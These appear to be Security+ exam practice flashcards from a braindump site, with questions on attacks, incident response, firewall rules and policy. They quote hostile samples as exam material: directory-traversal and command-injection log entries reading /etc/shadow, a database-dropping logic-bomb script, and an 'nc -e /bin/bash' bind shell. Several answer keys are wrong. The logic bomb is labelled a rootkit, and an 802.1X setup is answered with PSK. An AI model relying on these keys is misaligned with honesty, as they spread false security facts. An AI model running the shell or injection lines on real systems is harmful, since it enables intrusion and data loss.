151-200 Flashcards
A SOC operator is analyzing a log file that contains the following entries:
[06-Apr-2021-18:00:06] GET /index.php/../../../../../../etc/passwd
[06-Apr-2021-18:01:07] GET /index.php/../../../../../../etc/shadow
[06-Apr-2021-18:01:26] GET /index.php/../../../../../../../../../../etc/passwd
[06-Apr-2021-18:02:16] GET /index.php?var1=;cat /etc/passwd;$var2=7865tgydk
[06-Apr-2021-18:02:56] GET /index.php?var1=;cat /etc/shadow;$var2=7865tgydk
Which of the following explains these log entries?
a. SQL injection and improper input-handling attempts
b. Cross-site scripting and resource exhaustion attempts
c. Command injection and directory traversal attempts
d. Error handling and privilege escalation attempts
c. Command injection and directory traversal attempts
Explanation:
c. Command injection and directory traversal attempts: The log entries show attempts to access sensitive files on the server by exploiting vulnerabilities. Specifically, the attacker is trying to use directory traversal (../../../../../../etc/passwd and ../../../../../../etc/shadow) to navigate to sensitive files. Additionally, the attacker is attempting command injection (var1=;cat /etc/passwd;) to execute commands on the server.
SQL injection and improper input-handling attempts: SQL injection involves inserting or injecting SQL queries via input data, which is not indicated by the given log entries. The log entries show attempts to access files and execute commands rather than SQL queries. Cross-site scripting and resource exhaustion attempts: Cross-site scripting (XSS) involves injecting malicious scripts into web pages viewed by other users. Resource exhaustion attempts aim to deplete system resources. The log entries do not show evidence of either type of attack. Error handling and privilege escalation attempts: Error handling involves managing errors in a system, and privilege escalation involves gaining higher-level access. The log entries do not specifically show evidence of attempts to exploit error handling or escalate privileges directly.
Command injection and directory traversal attempts accurately describe the nature of the log entries, which involve attempts to access sensitive files and execute commands on the server.
A security incident has been resolved. Which of the following BEST describes the importance of the final phase of the incident response plan?
a. It examines and documents how well the team responded, discovers what caused the incident, and determines how the incident can be avoided in the future.
b. It returns the affected systems back into production once systems have been fully patched, data restored, and vulnerabilities addressed.
c. It identifies the incident and the scope of the breach, how it affects the production environment, and the ingress point.
d. It contains the affected systems and disconnects them from the network, preventing further spread of the attack or breach.
a. It examines and documents how well the team responded, discovers what caused the incident, and determines how the incident can be avoided in the future.
Explanation:
a. It examines and documents how well the team responded, discovers what caused the incident, and determines how the incident can be avoided in the future.: This describes the lessons learned phase, which is a critical part of the final phase of the incident response plan. It involves reviewing the incident to understand the effectiveness of the response, identifying root causes, and implementing measures to prevent future incidents. b. It returns the affected systems back into production once systems have been fully patched, data restored, and vulnerabilities addressed.: This describes the recovery phase, which occurs before the final phase. The recovery phase focuses on restoring systems to normal operation after the incident has been contained and eradicated. c. It identifies the incident and the scope of the breach, how it affects the production environment, and the ingress point.: This describes the identification phase, which occurs at the beginning of the incident response process. This phase involves detecting and analyzing the incident to understand its scope and impact. d. It contains the affected systems and disconnects them from the network, preventing further spread of the attack or breach.: This describes the containment phase, which focuses on limiting the spread and impact of the incident. It is not the final phase of the incident response plan.
The final phase of the incident response plan is crucial for improving future responses and enhancing the overall security posture of the organization. It provides an opportunity to learn from the incident and implement changes to prevent recurrence.
HOTSPOT (Drag and Drop is not supported)
Select the appropriate attack and remediation from each drop-down list to label the corresponding attack with its remediation.
INSTRUCTIONS
Not all attacks and remediation actions will be used.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Hot Area:
- Attack Description :
An attacker sends multiple SYNC packets from multiple sources
Web server : Target Web Server - Attack Description :
The attack establishes a connection, which allows remote commands to be executed
Web server : User - Attack Description :
The attack is self propagating and compromises a SQL database using well-known credentials as it moves through the network
Web Server : Database server - Attack Description :
The attacker uses hardware to remotely monitor a user’s input activity to harvest credentials
Web Server : Executive - Attack Description :
The attacker embeds hidden access in an internally developed application that bypasses account login
Web Server : Application
Attack identified Best preventative or Remediation Action
a. Botnet a. Enable DDoS protection
b. RAT b. Patch Vulnerable systems
c. Logic Bomb c. Disable vulnerable services
d. Backdoor d. Change the default system password
e. Virus e. Update cryptographic algorithms
f. Spyware f. Change the default application password
g. Worm g. Implement 2FA using push notification
h. Adware h. Conduct a code review
i. Ransomware i. Implement a application fuzzing
j. Keylogger j. Implement a host-based IPS
k. Phishing k. Disable remote access service
An attacker sends multiple SYNC packets from multiple sources
Botnet, Enable DDoS protection
The attack establishes a conneciton which allows remote commands to be executed
RAT, Disable Remote access services
The attack is self-propagating and compromises a SQL database using well-known credentials as it moves though the network
Worm, change default application password
The attacker uses hardware to remotely monitor a user’s input activity to harvest credentials
Keylogger, implement 2FA using push notification
The attacker embeds hidden access in an internally developed application that bypasses account login
Backdoor, Conduct a code review
SIMULATION
A company recently added a DR site and is redesigning the network. Users at the DR site are having issues browsing websites.
https://free-braindumps.com/comptia/free-sy0-601-braindumps.html?p=40
INSTRUCTIONS
Click on each firewall to do the following:
1. Deny cleartext web traffic.
2. Ensure secure management protocols are used.
3. Resolve issues at the DR site.
The ruleset order cannot be modified due to outside constraints.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Firewall 1:
10.0.0.1/24 - ANY - DNS - PERMIT
10.0.0.1/24 - ANY - HTTPS - PERMIT
ANY - 10.0.0.1/24 - SSH - PERMIT
ANY - 10.0.0.1/24 - HTTPS - PERMIT
ANY - 10.0.0.1/24 - HTTP - DENY
Firewall 2:
10.0.1.1/24 - ANY - DNS - PERMIT
10.0.1.1/24 - ANY - HTTPS - PERMIT
ANY - 10.0.1.1/24 - SSH - PERMIT
ANY - 10.0.1.1/24 - HTTPS - PERMIT
ANY - 10.0.1.1/24 - HTTP - DENY
Firewall 3:
192.168.0.1/24 - ANY - DNS - PERMIT
192.168.0.1/24 - ANY - HTTPS - PERMIT
ANY - 192.168.0.1/24 - SSH - PERMIT
ANY - 192.168.0.1/24 - HTTPS - PERMIT
ANY - 192.168.0.1/24 - HTTP - DENY
SIMULATION
An attack has occurred against a company.
https://free-braindumps.com/comptia/free-sy0-601-braindumps.html?p=40
INSTRUCTIONS
You have been tasked to do the following:
-Identify the type of attack that is occurring on the network by clicking on the attacker’s tablet and reviewing the output.
-Identify which compensating controls a developer should implement on the assets, in order to reduce the effectiveness of future attacks by dragging them to the correct server.
All objects will be used, but not all placeholders may be filled. Objects may only be used once.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Select type of attack :
1. SQL Injection
2. Cross Site Scripting
3. XML injection
4. Session Hijacking
Drag & drop :
Input validation
Code Review
WAF
URL Filtering
Record Level Access Control
against servers :
Web Server
Database
Application Source Code withing Repository
CRM Server
- Cross Site Scripting
Web Server : WAF (Web Application Firewall), URL Filtering
Database : Input Validation
Application Source Code withing Repository : Code Review
CRM Server : Record level access control
SIMULATION
https://free-braindumps.com/comptia/free-sy0-601-braindumps.html?p=40
A systems administrator needs to install a new wireless network for authenticated guest access. The wireless network should support 802.1X using the most secure encryption and protocol available.
INSTRUCTIONS
Perform the following steps:
4. Configure the RADIUS server.
5. Configure the WiFi controller.
6. Preconfigure the client for an incoming guest. The guest AD credentials are:
User: guest01
Password: guestpass
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
WiFi Controller
SSID : CORPGUEST
Shared Key:
AAA Server IP :
PSK :
Authentication type :
Controller IP : 192.168.1.10
RADIUS server
Shared Key : SECRET
Client IP :
Authentication type :
Server IP: 192.168.1.20
Wireless Client
SSID :
Username :
User password :
PSK :
Authentication type :
WiFi Controller
SSID : CORPGUEST
Shared Key: SECRET
AAA Server IP : 192.168.1.20
PSK : Zack@123+
Authentication type : WPA2-PSK
Controller IP : 192.168.1.10
RADIUS server
Shared Key : SECRET
Client IP : 192.168.1.10
Authentication type : Active Directory
Server IP: 192.168.1.20
Wireless Client
SSID : CORPGUEST
Username : guest01
User password : guestpass
PSK : Zack@123+
Authentication type : WPA-PSK
HOTSPOT (Drag and Drop is not supported)
An incident has occurred in the production environment.
INSTRUCTIONS
Analyze the command outputs and identify the type of compromise.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Hot Area:
- Command ouput1
$ cat /var/log/www/file.sh
#!/bin/bash
user=’grep john /etc/password’
if [ $user = “”]; then
msql -u root -p mys3cr2tdbpw -e “drop database production”
fi
$crontab -l
*/5 * * * * /var/log/www/file.sh
Compromise type 1 :
a. RAT
b. Backdoor
c. Logic bomb
d. SQL injection
e. Rootkit
- Command Output 2
$ cat /var/log/www/file.sh
$!/bin/bash
date=”date +%Y-%m-%y”
echo “type in your full name : “
read loggedName
nc -l -p 31337 -e /bin/bash
wget www.eicar.org/download/eicar.com/txt
echo “Hello, $loggedInName the virus file has been downloaded”
Compromised Type 2 :
a. SQL injection
b. RAT
c. Rootkit
d. Backdoor
e. Logic bomb
- e. Rootkit
- b. RAT
After a recent security incident, a security analyst discovered that unnecessary ports were open on a firewall policy for a web server. Which of the following firewall polices would be MOST secure for a web server?
a. source Destination Port Action
Any Any TCP 53 Allow
Any Any TCP 80 Allow
Any Any TCP 443 Allow
Any Any Any Any
b. source Destination Port Action
Any Any TCP 53 Deny
Any Any TCP 80 Allow
Any Any TCP 443 Allow
Any Any Any Allow
c. source Destination Port Action
Any Any TCP 80 Deny
Any Any TCP 443 Allow
Any Any Any Allow
d. source Destination Port Action
Any Any TCP 80 Allow
Any Any TCP 443 Allow
Any Any Any Deny
d. source Destination Port Action
Any Any TCP 80 Allow
Any Any TCP 443 Allow
Any Any Any Deny
A large bank with two geographically dispersed data centers is concerned about major power disruptions at both locations. Every day each location experiences very brief outages that last for a few seconds. However, during the summer a high risk of intentional brownouts that last up to an hour exists, particularly at one of the locations near an industrial smelter. Which of the following is the BEST solution to reduce the risk of data loss?
a. Dual supply
b. Generator
c. UPS
d. POU
e. Daily backups
c. UPS (Uninterruptible Power Supply)
Explanation:
A UPS (Uninterruptible Power Supply) is the best solution in this scenario for several reasons:
Brief outages: A UPS can provide immediate power during brief outages that last for a few seconds to a few minutes, ensuring that equipment stays operational without interruption. Extended outages and brownouts: While a UPS can handle brief outages on its own, it can also bridge the gap until a backup generator can be brought online during longer outages or intentional brownouts. Protection from power fluctuations: A UPS can protect against power surges and brownouts, which can damage sensitive equipment or cause data corruption.
Here’s why other options are less suitable:
Dual supply: This ensures redundancy by using two power sources, but if both sources are affected by the same disruption (e.g., a brownout), it won't fully mitigate the risk. Generator: A generator is excellent for extended outages, but it takes time to start up and does not protect against very brief outages. Combining a UPS with a generator would be ideal, but the UPS alone is necessary to handle the immediate power loss. POU (Power Outlet Unit): This is typically used for distributing power within a data center but does not provide backup power. Daily backups: While important for data recovery, they do not prevent data loss or service interruption during the power outages themselves. They address data loss after the fact, not in real-time.
Thus, a UPS is the most effective immediate solution to prevent data loss and ensure continuous operation during brief outages and while transitioning to a backup generator during extended power disruptions.
Which of the following would be the BEST way to analyze diskless malware that has infected a VDI?
a. Shut down the VDI and copy off the event logs.
b. Take a memory snapshot of the running system.
c. Use NetFlow to identify command-and-control IPs.
d. Run a full on-demand scan of the root volume.
b. Take a memory snapshot of the running system
VDI = Virtual Desktop Infrastructure
Here’s why this is the preferred option:
Preserves Current State: Taking a memory snapshot captures the current state of the running system, including any processes, network connections, and memory-resident malware. Forensic Analysis: Memory snapshots allow forensic analysts to examine the active memory of the infected VDI instance. This can reveal running processes, injected code, network connections, and potentially malicious behavior. Non-invasive: Unlike shutting down the VDI (option a), which could potentially disrupt or alter the malware's behavior, taking a memory snapshot is non-invasive and allows the VDI to continue running, potentially gathering more information about the malware's activities. Focus on Volatile Data: Diskless malware typically operates in memory and may leave minimal traces on disk, making memory analysis crucial for identifying and understanding its activities.
Options c and d (using NetFlow to identify command-and-control IPs and running a full on-demand scan of the root volume) are less effective for analyzing diskless malware in a VDI context. NetFlow analysis might not capture all relevant details of a diskless malware’s behavior, and a traditional on-demand scan may not detect malware that operates entirely in memory.
Users are presented with a banner upon each login to a workstation. The banner mentions that users are not entitled to any reasonable expectation of privacy and access is for authorized personnel only. In order to proceed past that banner, users must click the OK button. Which of the following is this an example of?
a. AUP
b. NDA
c. SLA
d. MOU
a. AUP (Acceptable Use Policy)
Here’s why:
Acceptable Use Policy (AUP): AUPs are policies that define the rules and guidelines for using an organization's IT resources, including workstations and networks. They typically inform users about their responsibilities and limitations regarding the use of these resources. A banner presented at login that users must acknowledge (by clicking OK) serves as a form of acknowledgment and agreement to comply with the AUP. Banner Warning: The banner presented to users upon login informs them that they have no reasonable expectation of privacy and that access is only for authorized personnel. By clicking OK, users acknowledge their understanding of these terms and agree to abide by them.
Options b, c, and d are not directly related to the scenario described:
NDA (Non-Disclosure Agreement): An NDA is a legal contract that outlines confidential material, knowledge, or information that parties wish to share with one another for certain purposes, but wish to restrict access to or by third parties. SLA (Service Level Agreement): An SLA is a contract between a service provider and a customer that outlines the level of service the customer can expect, including metrics like uptime and response times. MOU (Memorandum of Understanding): An MOU is a document outlining an agreement between parties that may not be legally binding but indicates a willingness to move forward with a certain course of action.
AUP vs NDA :
Acceptable Use Policy (AUP):
AUPs govern the proper use of an organization's IT resources, defining rules and guidelines for users regarding access, behavior, and responsibilities.
Typically, AUPs are presented to users upon accessing IT systems, requiring their acknowledgment and agreement to comply with stated policies.
In the scenario described, users acknowledge their understanding and agreement to comply with the organization's IT usage policies (such as privacy expectations and authorized access) by clicking OK on a banner.
Non-Disclosure Agreement (NDA):
NDAs are legal agreements between parties to protect confidential information shared during specific interactions or projects.
They outline what information is considered confidential, who can access it, and the consequences of disclosing that information to unauthorized parties.
NDAs are typically used in situations where confidential information, trade secrets, or proprietary data need protection from unauthorized disclosure.
In the scenario where users are presented with a banner upon login, the primary focus is on informing users about their responsibilities and limitations regarding IT system usage, not about protecting specific confidential information or trade secrets. Therefore, while NDAs are crucial for protecting sensitive information in certain contexts, they are not directly applicable to the situation where users are agreeing to comply with IT usage policies.
In summary, AUP is the most appropriate answer because it directly relates to the rules governing the use of IT resources and user responsibilities in the described scenario.
(Braindump : b)
The Chief Information Security Officer is concerned about employees using personal email rather than company email to communicate with clients and sending sensitive business information and PII. Which of the following would be the BEST solution to install on the employees’ workstations to prevent information from leaving the company’s network?
a. HIPS
b. DLP
c. HIDS
d. EDR
b. DLP (Data Loss Prevention)
Here’s why DLP is the most appropriate choice:
Data Loss Prevention (DLP): DLP solutions are designed to monitor, detect, and prevent the unauthorized transmission of sensitive data outside the organization's network. They can enforce policies that govern what type of data can be sent via email, including scanning email content and attachments for sensitive information like PII, financial data, or confidential business information. Functionality: DLP solutions can identify sensitive data based on predefined policies (such as keywords, regular expressions, or data classification) and enforce actions (such as blocking, encrypting, or alerting) when unauthorized transmissions occur. Application to the Scenario: In this case, deploying DLP on employees' workstations would help mitigate the risk of employees inadvertently or intentionally sending sensitive information via personal email accounts. It provides a proactive measure to enforce company policies regarding data protection and ensures that sensitive data remains within authorized channels.
In contrast, the other options are less directly focused on preventing unauthorized data transmission via personal email:
HIPS (Host-based Intrusion Prevention System): Primarily focused on detecting and blocking unauthorized network attacks and exploits targeting specific host systems. HIDS (Host-based Intrusion Detection System): Monitors and analyzes the internals of a computing system (like logs and file system changes) for signs of intrusion or unauthorized activities. EDR (Endpoint Detection and Response): Provides real-time monitoring and response to threats on endpoints, focusing more on detecting and responding to malicious activities rather than preventing data loss through unauthorized emails.
(Braindump : d. EDR)
On the way into a secure building, an unknown individual strikes up a conversation with an employee. The employee scans the required badge at the door while the unknown individual holds the door open, seemingly out of courtesy, for the employee. Which of the following social engineering techniques is being utilized?
a. Shoulder surfing
b. Watering-hole attack
c. Tailgating
d. Impersonation
c. Tailgating
Explanation:
Tailgating: This occurs when an unauthorized individual follows closely behind an authorized person to gain entry into a restricted area without proper authentication. In this case, the unknown individual is taking advantage of the employee's courtesy by holding the door open and thereby bypassing the secure access control, exploiting the trusting nature of the employee. Shoulder surfing: Involves observing someone's confidential information (like passwords or PINs) by looking over their shoulder as they enter it. Watering-hole attack: Targets a specific group by compromising websites they are likely to visit, rather than physical access scenarios. Impersonation: Involves pretending to be someone else to gain access, which is not explicitly demonstrated in the scenario provided.
Two hospitals merged into a single organization. The privacy officer requested a review of all records to ensure encryption was used during record storage, in compliance with regulations. During the review, the officer discovered that medical diagnosis codes and patient names were left unsecured. Which of the following types of data does this combination BEST represent?
a. Personal health information
b. Personally identifiable information
c. Tokenized data
d. Proprietary data
a. Personal health information (PHI)
Explanation:
Personal health information (PHI) includes any individually identifiable health information that is held or maintained by a covered entity or business associate. This includes medical diagnosis codes, patient names, and other health-related information. Personally identifiable information (PII) typically refers to any information that can be used to identify an individual, which could include personal health information but is broader in scope. Tokenized data refers to data that has been replaced with a non-sensitive equivalent (token) that has no extrinsic or exploitable meaning or value. Proprietary data refers to information that is owned or controlled by an organization and is not specifically related to personal or health information.
In the context provided, the concern about medical diagnosis codes and patient names being left unsecured directly relates to the privacy and security requirements around personal health information (PHI), making option a. Personal health information the most appropriate choice.
A company discovered that terabytes of data have been exfiltrated over the past year after an employee clicked on an email link. The threat continued to evolve and remain undetected until a security analyst noticed an abnormal amount of external connections when the employee was not working. Which of the following is the MOST likely threat actor?
a. Shadow IT
b. Script kiddies
c. APT
d. Insider threat
c. APT (Advanced Persistent Threat)
Explanation:
Advanced Persistent Threat (APT): APTs are sophisticated adversaries, often state-sponsored or well-funded, that conduct prolonged and targeted attacks on specific organizations. They are characterized by their ability to remain undetected for extended periods, exfiltrate large amounts of data, and adapt their tactics to avoid detection.
Here’s why the other options are less likely:
Shadow IT: Refers to unauthorized applications or services used within an organization without explicit approval. While it can pose security risks, it typically doesn't involve sophisticated data exfiltration over an extended period as described. Script kiddies: Usually refer to individuals with limited technical skills who use existing scripts or tools to launch simple attacks. They are unlikely to sustain a sophisticated operation over a year without detection. Insider threat: While an insider could be involved in data exfiltration, the prolonged nature and sophistication of the attack described (abnormal external connections over a long period) suggest a more organized and persistent threat actor than a typical insider threat scenario.
Therefore, considering the prolonged and stealthy nature of the attack targeting specific data, an Advanced Persistent Threat (APT) is the most plausible threat actor in this case.
(Braindump : d. Insider threat)
An untrusted SSL certificate was discovered during the most recent vulnerability scan. A security analyst determines the certificate is signed properly and is a valid wildcard. This same certificate is installed on the other company servers without issue. Which of the following is the MOST likely reason for this finding?
a. The required intermediate certificate is not loaded as part of the certificate chain.
b. The certificate is on the CRL and is no longer valid.
c. The corporate CA has expired on every server, causing the certificate to fail verification.
d. The scanner is incorrectly configured to not trust this certificate when detected on the server.
a. The required intermediate certificate is not loaded as part of the certificate chain.
Explanation:
Intermediate Certificate: When an SSL/TLS certificate is issued, it often relies on an intermediate certificate (or chain of intermediate certificates) to verify its authenticity up to a trusted root certificate authority (CA). If the intermediate certificate is not properly installed on the server along with the SSL certificate, the server may not send the full certificate chain during the SSL handshake.
SSL Certificate Chain: During the SSL handshake process, the client (vulnerability scanner, in this case) needs to verify the entire chain of certificates from the server's SSL certificate up to a trusted root certificate authority. If any intermediate certificate is missing, the chain of trust is broken, and the certificate might appear as untrusted to the scanner.
Other Options Explanation:
b. The certificate is on the CRL and is no longer valid: This would typically result in the certificate being flagged as revoked, not untrusted.
c. The corporate CA has expired on every server, causing the certificate to fail verification: This would indicate an issue with the corporate CA's validity, not specifically with the SSL certificate's trust status.
d. The scanner is incorrectly configured to not trust this certificate when detected on the server: This would be a configuration issue on the scanner side and less likely the reason for the untrusted status if the certificate is valid and properly configured on other servers.
Therefore, a. The required intermediate certificate is not loaded as part of the certificate chain is the most likely reason for the vulnerability scanner to report the SSL certificate as untrusted despite its validity and installation on other servers without issue.
A company wants to improve end users’ experiences when they log in to a trusted partner website. The company does not want the users to be issued separate credentials for the partner website. Which of the following should be implemented to allow users to authenticate using their own credentials to log in to the trusted partner’s website?
a. Directory service
b. AAA server
c. Federation
d. Multifactor authentication
c. Federation
Explanation:
Federation enables a single sign-on (SSO) experience across different organizations or domains. It allows users to use their existing credentials from one organization (in this case, the company's credentials) to access services and resources in another organization (the trusted partner's website).
How Federation Works:
The company and the trusted partner establish a trust relationship.
Users authenticate once with their company's identity provider (IdP).
Upon accessing the trusted partner's website, the company's IdP securely passes authentication information to the partner's service provider (SP).
The SP trusts the authentication from the IdP and grants access without requiring the user to re-enter credentials.
Benefits of Federation:
Simplifies user experience by eliminating the need for separate credentials.
Enhances security as authentication and authorization are handled centrally by the company's IdP.
Reduces administrative overhead by managing user accounts centrally.
Other Options Explained:
a. Directory service: While directory services manage user identities and permissions within an organization, they typically do not facilitate SSO across different domains or organizations. b. AAA server (Authentication, Authorization, and Accounting): AAA servers are used for managing network access and are not specifically designed for cross-organization authentication. d. Multifactor authentication (MFA): While MFA enhances security by requiring multiple factors for authentication, it does not address the requirement of using existing credentials across organizations without issuing separate credentials.
A company is under investigation for possible fraud. As part of the investigation, the authorities need to review all emails and ensure data is not deleted. Which of the following should the company implement to assist in the investigation?
a. Legal hold
b. Chain of custody
c. Data loss prevention
d. Content filter
a. Legal hold
Explanation:
Legal hold is a process in which an organization preserves all relevant information related to a legal case or investigation. It ensures that potentially relevant data, including emails, cannot be deleted, altered, or destroyed. Here’s why it's the correct choice: Preservation of Data: Legal hold mandates that all potentially relevant data, including emails, must be preserved in its original state. This prevents any tampering or deletion that could hinder the investigation. Compliance: It ensures compliance with legal and regulatory requirements by preserving data that may be subject to investigation or litigation. Process: Legal hold involves identifying and suspending the routine deletion or modification of relevant data, including emails, and keeping them intact until the hold is lifted.
Other Options Explained:
b. Chain of custody: Chain of custody refers to the chronological documentation or paper trail that records the sequence of custody, control, transfer, analysis, and disposition of physical and electronic evidence. While important for maintaining evidence integrity, it primarily applies to physical evidence rather than digital data like emails. c. Data loss prevention (DLP): DLP systems aim to prevent unauthorized transmission of sensitive information outside the organization. While they can help prevent accidental or malicious data leaks, they do not specifically ensure that data is preserved for legal investigations. d. Content filter: Content filters are used to monitor and control the flow of data, typically to enforce acceptable use policies and protect against malware and phishing. They do not focus on preserving data for legal investigations.
Therefore, a. Legal hold is the best choice for ensuring that emails and other relevant data are preserved intact and accessible for the investigation without the risk of deletion or alteration.
A user wanted to catch up on some work over the weekend but had issues logging in to the corporate network using a VPN. On Monday, the user opened a ticket for this issue but was able to log in successfully. Which of the following BEST describes the policy that is being implemented?
a. Time-based logins
b. Geofencing
c. Network location
d. Password history
a. Time-based logins
Explanation:
Time-based logins refer to policies or configurations that restrict or allow access to systems, networks, or applications based on specific times or schedules. In this case:
The user experienced issues logging in over the weekend but was able to log in successfully on Monday.
This inconsistency suggests that access might be restricted or problematic during non-standard hours (such as weekends) due to time-based access controls.
Why the Other Options are Not Appropriate:
b. Geofencing: Geofencing policies restrict access based on the physical location of the user. However, the issue described does not involve location-based access restrictions but rather time-based access. c. Network location: Similar to geofencing, network location policies define access based on the user's network location (e.g., internal network vs. external network). This scenario does not indicate any issues related to network location restrictions. d. Password history: Password history policies dictate how frequently passwords can be reused or how often they must be changed. This is unrelated to the described issue of intermittent access during specific times.
Therefore, a. Time-based logins is the most appropriate description of the policy being implemented based on the user’s experience of successful login during standard work hours but issues during the weekend.
A major political party experienced a server breach. The hacker then publicly posted stolen internal communications concerning campaign strategies to give the opposition party an advantage. Which of the following BEST describes these threat actors?
a. Semi-authorized hackers
b. State actors
c. Script kiddies
d. Advanced persistent threats
b. State actors
Explanation:
State actors are typically government-sponsored entities or groups acting on behalf of a government. They often have significant resources, capabilities, and motivations to conduct cyber attacks for political, economic, or military purposes.
Why the Other Options are Not Appropriate:
a. Semi-authorized hackers: This term is less commonly used in cybersecurity and does not specifically denote state-sponsored activity. It might imply individuals with some level of authorization but does not fit the description of government-backed actors. c. Script kiddies: Script kiddies are individuals who use existing tools and scripts to launch attacks without deep technical knowledge. They are generally not sophisticated enough to orchestrate a breach of this scale or purpose. d. Advanced persistent threats (APTs): APTs are typically sophisticated threat actors that maintain long-term access to a target network or system for espionage or data exfiltration. While they can be state-sponsored, the scenario does not explicitly describe ongoing persistence but rather a breach and immediate public dissemination.
Therefore, b. State actors best describes the threat actors involved in breaching a major political party’s server and leaking sensitive communications for political advantage.
